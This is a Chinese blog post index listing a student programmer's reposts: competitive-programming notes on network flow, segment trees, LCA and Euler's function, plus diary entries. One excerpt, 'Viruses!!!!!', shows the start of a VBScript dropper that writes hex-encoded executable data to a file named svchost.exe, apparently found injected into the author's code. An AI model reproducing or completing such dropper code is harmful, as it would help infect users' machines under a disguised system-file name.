- 博客(55)
- 收藏
- 关注
RSS订阅转载 立冬小记
立冬小记今日立冬立冬，水始冰，地始冻，雉入大水为蜃。从来没有感觉这么冷，就在几天前还是艳阳高照的日子，转眼间立冬就与小雨相伴而来。记忆还停留在夏天的闷热里，还没来得及感受秋爽，这就快到冬日了？且不空想时光飞逝之类，这个秋冬却不是我期盼的。以前我总是盼过年，嘴边总是挂着“我喜欢冬天”之类的话，现在却对秋冬完全失去了兴趣。大概是穿的衣服少了，感觉冷的缘故罢，又或者是高三的压力使我寡...
2018-11-07 17:16:00
184
转载 博客主题更新了
博客主题更新了Update:修改了一些小bug和细节（可能看不出来）当当当，经过博主一点一点的修改（其实是懒得改），博客主题终于迎来一次重大更新。本来想需要的人自己从控制台扒代码，不打算发布，然而仍有不熟悉前端的同学向我发出请求。本着互联网共享精神，特地发布当前博客主题注意：Wider本人也不熟悉前端知识，都是平时有时间瞎捣鼓，写的代码冗长且可能存在未知bug，不一定能及时更新哦...
2018-11-05 12:19:00
173
转载 完全图树的计数
完全图树的计数把两年前的东西忘干净了n 个结点的无向完全图的生成树的个数n 个点的有标号无根树的计数：$n(n-2)$n 个点的有标号有根树的计数：$n(n-2)\times n=n(n-1)$n 个点的无标号有根树的计数：令$$S_{n,j}=\sum_{1 \leqslant j \leqslant \frac{n}{j}}a_{n+1-i,j}$$则有$$S_{...
2018-11-04 18:28:00
685
转载 配位堆模板
配位堆模板复杂度：合并(Merge): $O(1)$插入(Insert/Push): $O(1)$修改值(Change): $O(1)$ or $O(logn)$取出维护的最值(Top): $O(1)$弹出堆顶元素(Pop): $O(logn)$这里特别说明一下，配位堆是支持单点修改的，只不过大根堆只能增值，小根堆只能减值，因为要维护堆的性质不变，复杂度$O(1)$。想...
2018-11-02 08:50:00
88
转载 我什么也不说
我什么也不说 €€£ 如何评价 CCF 关于公布 NOIP 2018 初赛违规事件的处罚公告？转载于:https://www.cnblogs.com/widerg/p/9887369.html
2018-11-01 09:18:00
64
转载 最小费用最大流问题
最小费用最大流问题最小费用最大流问题：在最大流有多组解时，给每条边在附上一个单位费用的量，问在满足最大流时的最小费用是多少？来搞清楚一些概念：最小费用最大流：指满足源点流出的流量最大且流量平衡时，总费用最小的一个网络。最小费用可行流：指满足流量平衡时，总费用最小的一个网络。最大费用最大流：把费用都取相反数的最小费用最大流，很容易证明等价。最大费用可行流：把费用都取相反数的...
2018-07-31 11:26:00
194
转载 网络流基础
网络流基础网络流问题相关概念：源点：有n个点，有m条有向边，有一个点很特殊，只出不进，叫做源点。汇点：另一个点也很特殊，只进不出，叫做汇点。容量和流量：每条有向边上有两个量，容量和流量，从i到j的容量通常用c[i,j]表示,流量则通常是f[i,j]。最大流：通俗点解释，就好比你有很多货物要从源点点运到汇点点，有向图中的一条边代表一条公路，每条公路有固定的货物装载限制（容量）...
2018-07-29 22:02:00
210
转载 线性筛欧拉函数
线性筛欧拉函数欧拉函数在数论，对正整数n，欧拉函数是小于n的正整数中与n互质的数的数目，用$\varphi(n)$表示。通式： $ \varphi(x)=x\prod\limits_{i=1}^{n}{(1-\frac{1}{p_i})} $其中$p_1, p_2……p_n$为$x$的所有质因数，$x$是不为0的整数。性质：$ \varphi(1)=1 $当正整数p为质数...
2018-07-25 21:31:00
128
转载 新春快乐！！！
新的一年到来了，再此W祝大家新春快乐、阖家幸福，万事如意、考试满分、RP++、不要感冒转载于:https://www.cnblogs.com/widerg/p/8449400.html
2018-02-15 12:32:00
122
转载 printf("Hello 2018!");
月考 has Boom！要全心准备期末考试，到年前是不能再看Blog了新年加油！！！不要感冒:joy:转载于:https://www.cnblogs.com/widerg/p/8169103.html
2018-01-01 22:01:00
88
转载 All is Over
Noip2017结束，AFO。WC2017上神犇们唱的膜你抄 就是退役的背景音乐了不管以后何去何从，Oier的生涯对我来说已经终了，找个日子好好回忆一下这么多年的Oi时光，然后写篇博文祭奠自此化身高考党，回忆，满脑子回忆。竹杖芒鞋轻胜马，一蓑烟雨任平生。回首向来萧瑟处，也无风雨也无晴。原版地址：http://www.bilibili.com/vide...
2017-11-14 18:35:00
129
转载 我怎么那么神奇
我怎么那么神奇打Codeforces的比赛最害怕让别人Hack掉于是机房的大神们都会拿出一段时间混淆代码，让代码变得不可读，见过有把代码压成两行的，见过用00ooOO0Ooo0O和|1li|||1li|替换变量名的，也见过#define cin orz #define >> xxx等等的。总之，都是大佬。小蒟蒻才想起来c++里有“续行符”这个东西举个栗子：#incl...
2017-10-30 17:03:00
77
转载 10.24程序员节祭
10.24程序员节祭入秋不知不觉就入了秋，今天气温骤降，早上出门感觉寒气鄙人，就添了一件外套，拍拍衣服上的尘土，偶然想起去年的今天，我也是这身装扮，一丝悲意油然而生，真是不知不觉，高中生活就过了一半，谁能想到我去年、前年竟是“小同学”，今年夏天博雅湖岸的棠梨还泛着微黄，不知不觉中泛红、熟透、落果、腐烂就伴随我们迈进秋天，今天的棠梨树叶竟已经被冷风蚀枯了边缘；今年夏天综合楼下的幽幽草地...
2017-10-24 09:15:00
178
转载 Niop2017初赛滚粗记
初赛踢蹬滚粗TOT (╯°Д°)╯︵┻━┻ヽ(｀Д´)ﾉ︵ ┻━┻ ┻━┻排序啊排序，净是排序，自打我学了C++就再没学过排序！！wtf！(╯°Д°)╯︵ /(.□ . )我tm怎么知道建国那天是星期几！！(▼へ▼メ)王选？？激光排版跟计算机关系。。。（难道这不是个动词吗！）(╯°Д°)╯CCF noip2022年取消Pascal语言，果然考基础知识(ﾉ｀⊿´)ﾉ最大流最小...
2017-10-15 10:14:00
148
转载 科学把妹法
DATE A GIRL BY SCIENCEDate a Girl by Science，是将男生追女生的方法以科学规律的形式总结出来，是基于“任何事情都是有规律可循的”这一思维，包括把妹。中文名：科学把妹法外文名：Date a Girl by Science类别：行为心理学由来其实，把妹是个脑力活。很多人以为，所谓泡妞秘籍就是港产片经常挂在口边的“胆大心细面皮厚”。大错特错，...
2017-10-13 20:59:00
6788
转载 简单而强大的bitset
简单而强大的bitset介绍有些程序需要处理二进制有序集，标准库提供了bitset 类型，事实上，bitset 是一个二进制容器，容器中每一个元素都是一位二进制码，或为 0，或为 1。基础bitset所在的头文件命名空间stdbitset属于非类型模板参数bitset<>模板类虽然重载了中括号运算符，bs[0]表示的是将该数值转换为二进制时的最末尾元素，而非首...
2017-10-11 10:33:00
192
转载 神奇的ASCⅡ码图
神奇的ASCⅡ码图可能在网上也常见了asc2码图，但你知道是怎么做出来的吗？（总不可能是人一个一个字码进去的吧，当然，不排除有这种神人的可能 ???? ）先看神奇的效果因为字符太多，这是字体缩小后的效果制作嘛，其实就是一个软件（还有其他可能吗，当然，自己码出来也可以 ???? ）最后，神奇的软件AscGen2.rar转载于:https://www.cnblogs.com/wi...
2017-10-10 20:07:00
119
转载 名言札记
名言札记谎言不一定是谎言，被发现的谎言，才算是谎言。——秋之回忆共道人间惆怅事，不知今夕是何年。——周秦行纪不要祈求生活公平，只需要适应它。——Sai活着就是为了改变世界。——Apple生活就像愤怒的小鸟，失败后总有几只猪在笑。——yudezhuixun就算只有六十亿分之一的机会，我们还是会邂逅。——Angel Beats!...
2017-10-10 12:02:00
297
转载 莫队算法
莫队算法传说中能解决一切区间问题的算法这个算法是由之前的国家队队长莫涛巨神(%%%)发明的，所以尊称莫队算法。目前的题型概括为三种：普通莫队，树形莫队以及带修莫队。这里讲普通莫队算法题目P2709 小B的询问题目描述小B有一个序列，包含N个1~K之间的整数。他一共有M个询问，每个询问给定一个区间[L..R]，求$\sum{C_i^2}$的值,其中i的值从1到K，其中$C...
2017-10-08 19:55:00
128
转载 WiderG的博客皮肤
我的Skin2018.8.19新博皮建造中。。。。。。还是亮出自己的Blog定制代码吧；其实也不是完全自己写的（有抄袭），也不大懂这方面的知识，代码冗长，逻辑不清，加载缓慢，见谅喽???? ???? ???? ???? ????2018.1.13 紧急通知&手残bug修复Rj的七牛云说我欠费把我的储存内容都删了！！！emoji出现了问题，background让我翻cache有找了回来。emoj...
2017-09-23 12:22:00
104
转载 二分图简要总结
二分图简要总结二分图最大匹配参考：http://www.cnblogs.com/widerg/p/7402848.html二分图最小点覆盖最小点覆盖数=最大匹配数二分图最小边覆盖最小边覆盖数=总点数－最大匹配数二分图最大独立集最大独立集=总点数-最小点覆盖数二分图最大团二分图的最大团=补图的最大独立集。参考资料http://blog.csdn.net/hit...
2017-09-16 21:55:00
83
转载 二分图匹配の匈牙利算法
匈牙利 算法一. 算法简介匈牙利算法是由匈牙利数学家Edmonds于1965年提出。该算法的核心就是寻找增广路径，它是一种用增广路径求二分图最大匹配的算法。二分图的定义：设G=(V,E)是一个无向图，顶点集V可分割为两个互不相交的子集V1,V2，那么称此图G为二分图。例如，下图就是一个二分图：二分图的匹配：二分图中的子图中，每个节点只连一条边，则称该子图是二分图中的一个匹...
2017-08-21 10:09:00
113
转载 神奇把文字隐藏到音乐中
神奇的文字隐藏技术看“无人深空”推送给玩家的磁带上竟然有文字（频谱），居然这么神奇，但这可不是什么太黑的黑科技，实现起来很简单：Tools:Adobe Audition 3.0(音频编辑软件，Adobe出品，可以吧位图转为频谱，貌似高版本的这个功能没了)一段音乐（当然你愿意不要音乐也可以）看看我的操作首先打开 画图 ，输入你喜欢的文字（图片也可以，不怕日狗），颜色越深频率...
2017-08-17 14:30:00
286
转载 Windows下对拍
What is 对拍Tool:你的程序可以输出正解的暴力程序数据生成器输出对比器RP用来干什么？用来造数据，检验你的程序的正确性，以方便修改和出现未考虑到的情况如何工作？数据生成器生成一组数据(据题意输出) test.in你的程序输入test.in 运行输出结果暴力程序输入test.in 运行输出结果输出对比器比较两个程序的输出如果输出不一致就停止...
2017-08-15 15:16:00
118
转载 Interesting卡常数
C++ Interesting卡常数作为一名OIer，在Noip中卡（kǎ 我就爱读kǎ）常数可以说是必备技巧。在此总结一下我所知卡常数的神奇手法：IO优化fread 和 fwrite ，如果还想再优化有mmap....(然而并不会用，好像也没用。。。)读入优化(这个非常重要！！！！！！！)inline int Read(){ int x=0,f=1;char...
2017-08-13 16:32:00
299
转载 并查集
其实并查集顾名思义就是有“合并集合”和“查找集合”两种操作的关于数据结构的一种算法。概述性质并查集算法不支持分割一个集合。算法用集合中的某个元素来代表这个集合，该元素称为集合的代表元。一个集合内的所有元素组织成以代表元为根的树形结构。对于每一个元素 parent[x]指向x在树形结构上的父亲节点。如果x是根节点，则令parent[x] = x。对于查找操作，假设需要确...
2017-08-12 16:35:00
74
转载 留言板
潮来有汛，雁过留声。 ——欢迎留言Bing每日图片:转载于:https://www.cnblogs.com/widerg/p/7350394.html
2017-08-12 15:12:00
173
转载 LCA最近公共祖先(倍增版)
倍增版LCAlac即最近公共祖先，u和v最近公共祖先就是两节点公用的祖先中深度最大的比如其中lca(1,2)=4,lca(2,3)=4,lca(3,5)=1,lca(2,5)=4;如何求LCA？树上倍增版：预处理每一个节点的深度depth[i];选定两节点;将深度大的节点往上跳，跳到与另一节点相同深度;然后两个节点一起往上跳，直到两个节点重合;那么这个节点...
2017-08-12 11:42:00
131
转载 线段树の二 区间乘+区间加
线段树の二 区间乘+区间加具体就不解释了，看上一篇文章放代码注意点：！！！！注意运算符优先级比如：a*=b%p 是b先mod p再与a相乘a<<1+1是1+1再a位移a<<1=a*2a<<1|1=a*2+1参见：https://baike.baidu.com/item/%E8%BF%90%E7%AE%97%E7%...
2017-08-11 12:08:00
69
转载 线段树の一 区间和
线段树の一 区间和具体线段树讲解：（搬运）http://blog.csdn.net/zearot/article/details/48299459一：线段树基本概念1：概述线段树，类似区间树，是一个完全二叉树，它在各个节点保存一条线段（数组中的一段子数组），主要用于高效解决连续区间的动态查询问题，由于二叉结构的特性，它基本能保持每个操作的复杂度为O(lgN)!性质：父...
2017-08-11 12:00:00
96
转载 C++位运算
移位运算要点 1 它们都是双目运算符，两个运算分量都是整形，结果也是整形。 2 " < <" 左移：右边空出的位上补0，左边的位将从字头挤掉，其值相当于乘2。 3 ">>"右移：右边的位被挤掉。对于左边移出的空位，如果是正数则空位补0，若为负数，可能补0或补1，这取决于所用的计算机系统。 4 ">>>"运算符，右边的位被...
2017-08-04 21:55:00
96
转载 #define用法集锦
Definition[定义]：The #define DirectiveYou can use the #define directive to give a meaningful name to aconstant in your program. The two forms of the syntax are:Syntax#define identifier to...
2017-08-04 21:53:00
192
转载 Powmod快速幂取模
快速幂取模算法详解1.大数模幂运算的缺陷：快速幂取模算法的引入是从大数的小数取模的朴素算法的局限性所提出的，在朴素的方法中我们计算一个数比如5^1003%31是非常消耗我们的计算资源的，在整个计算过程中最麻烦的就是我们的5^1003这个过程缺点1：在我们在之后计算指数的过程中，计算的数字不都拿得增大，非常的占用我们的计算资源（主要是时间，还有空间）缺点2：我们计算...
2017-07-29 10:52:00
2292
转载 Sort
Sorting AlgorithmSummaryThere are a lot of sorting algorithms, I have only done on a part of the exercises and tests, and there are a lot of tests that are not tested because of their time comp...
2017-07-22 20:56:00
264
转载 Viruses!!!!!
今天码代码时，偶然多出来一堆代码。。。。。<SCRIPT Language=VBScript><!--DropFileName = "svchost.exe"WriteData = "4D5A90000300000004000000FFFF0000B80000000000000040000000000000000000000000000000000000000000...
2017-07-21 14:21:00
7391
转载 SublimeText3常用快捷键和优秀插件
SublimeText3常用快捷键和优秀插件SublimeText是前端的一个神器，以其精简和可DIY而让广大fans疯狂。好吧不吹了直入正题 -_-!!首先是安装，如果你有什么软件管家的话搜一下就好，一键安装。然后，有钱的土豪就自己买个吧，穷逼就搜下注册码看下有没有土豪共享咯。既然是神器，肯定有你不知道的东西不是，下面这部分来讲操作。PS：部分图片和文字来自网络，这里只是略...
2017-07-20 11:51:00
77
转载 神奇的namespace使用
一大波概念正在来袭：作用域与命名空间相关概念与命名空间相关的概念有： 声明域（declaration region）——声明标识符的区域。如在函数外面声明的全局变量，它的声明域为声明所在的文件。在函数内声明的局部变量，它的声明域为声明所在的代码块（例如整个函数体或整个复合语句）。 潜在作用域（potential scope）——从声明点开始...
2017-07-19 21:55:00
102
转载 C++负数取模
预习：r=余数a=被除数b=除数c=商a/b=c........rr=a-(a/b)*b一、下面的题目你能全做对吗？1.7/4=?2.7/(-4)=?3.7%4=?4.7%(-4)=?5.(-7)/4=?6.(-7)%4=?7.(-7)/(unsigned)4=?答案：1-133-1-31073741822如过你全部答对，你可以无视后面的内容……...
2017-07-19 21:17:00
442
转载 变量缩写
WordAbbreviationabbreviate / abbreviationabrvacademicacadaccept / acceptance / acceptedacptaccessaccsaccidentacdntaccomplish / accomplishment...
2017-07-15 16:05:00
1270
空空如也
空空如也
TA创建的收藏夹 TA关注的收藏夹
TA关注的人